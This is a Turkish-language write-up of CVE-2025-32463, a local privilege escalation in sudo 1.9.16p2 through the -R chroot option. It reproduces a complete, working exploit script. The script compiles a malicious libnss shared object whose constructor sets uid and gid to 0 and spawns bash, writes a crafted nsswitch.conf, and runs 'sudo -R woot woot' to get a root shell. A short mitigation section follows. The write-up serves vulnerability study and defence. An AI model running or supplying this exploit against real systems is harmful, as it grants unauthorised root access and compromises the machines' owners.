CVE-2025-32463: Sudo Local Privilege Escalation
On this page
Sudo 1.9.16p2 – CVE-2025-32463 Local Privilege Escalation Exploit
Zafiyet Özeti
Bu write-up’ta, Rich Mirch tarafından yayınlanan sudo-chwoot.sh exploit kodunu kullanarak CVE-2025-32463 yerel yetki yükseltme (EoP) zafiyetini istismar ediyoruz. Zafiyet, sudo’nun -R parametresi (alternatif kök dizin belirleme) kullanılarak bazı güvenlik kontrollerini atlatabilmesinden kaynaklanıyor. Bu durum, bir kullanıcının özel olarak hazırlanmış bir ortamda libnss yüklemesini manipüle ederek root yetkili shell elde etmesini mümkün kılıyor.

Hedef Sistem Özeti
Dağıtım: Kali Linux 6.12.25
Sudo Sürümü: 1.9.16p2
Güvenlik Güncellemeleri: Kapalı
Kullanıcı Yetkisi: sudo -R parametresiyle sınırlı sudo erişimi
Exploit Nasıl Çalışıyor?
1. libnss Manipülasyonu
sudo komutu çalıştırılırken, sistem kullanıcı bilgilerini almak için libnss (Name Service Switch) kütüphanelerine başvurur. Normalde bu kütüphaneler /lib/x86_64-linux-gnu/ gibi sistem dizinlerinden yüklenir. Ancak sudo -R komutu ile kök dizin değiştirilirse (chroot benzeri bir ortam), libnss dosyaları belirtilen dizin altından yüklenmeye çalışılır.
2. constructor ile Yürütme
Exploit, libnss_woot1337.so.2 adında bir shared object (paylaşımlı nesne) üretir. Bu dosyanın içinde yer alan constructor fonksiyonu sayesinde kütüphane yüklendiği anda otomatik olarak çalıştırılır:
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
Bu kod, efektif kullanıcı ve grup kimliklerini 0 (root) yaparak, sistem kabuğunu root yetkileriyle başlatır.
3. sudo -R ile Tuzağa Düşürme
sudo -R woot woot
Bu komut, woot dizinini kök (/) olarak kabul eder ve orada libnss_woot1337.so.2 dosyasının bulunduğunu varsayarak onu yüklemeye çalışır. Bu sırada exploit tetiklenir ve kullanıcı doğrudan root shell elde eder.
Exploit Kod Analizi
#!/bin/bash
# CVE-2025-32463 – Sudo EoP Exploit PoC
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
Proof of Concept
Script’i çalıştırıyoruz ve ardından shell açılıyor, id komutuyla ile root yetkisi doğrulanıyor.

Teknik Detaylar
sudoçalışırken, kullanıcı bilgilerini almak içinlibnssdosyalarını kök dizinden (/) göreceli olarak yükler.-Rbayrağı, bu yolu saldırganın kontrolündeki bir dizine yönlendirerek kendi kütüphanesini yüklemesine olanak tanır.- Kütüphane yüklenince, içindeki
constructorkodu tetiklenir. - Kod, root yetkileriyle kabuk açar ve kullanıcının kontrolünü sisteme verir.
Zafiyetin Giderilmesi
Güvenlik önlemleri:
sudosürümünüzü güncelleyin.- Kullanıcıların
sudo -Rgibi özel root dizin belirleme yetkilerini kısıtlayın. - NSS yüklemelerinde dış dizinlere güvenmeyin; sert yol tanımlamaları ve kütüphane doğrulaması uygulayın.
Kaynaklar
Sonuç
Bu zafiyet, sistemin yapılandırma hatalarından faydalanarak root yetkilerinin kolayca alınmasına neden olmaktadır. libnss gibi temel sistem bileşenlerinin uygun şekilde yalıtılmaması ve sudo -R’nin etkili güvenlik kontrollerine tabi olmaması, bu açığın var olmasına neden olmuştur. Sistem yöneticileri, kullanıcıların yetkilerini dikkatli sınırlandırmalı ve sudo yapılandırmalarını düzenli olarak gözden geçirmelidir.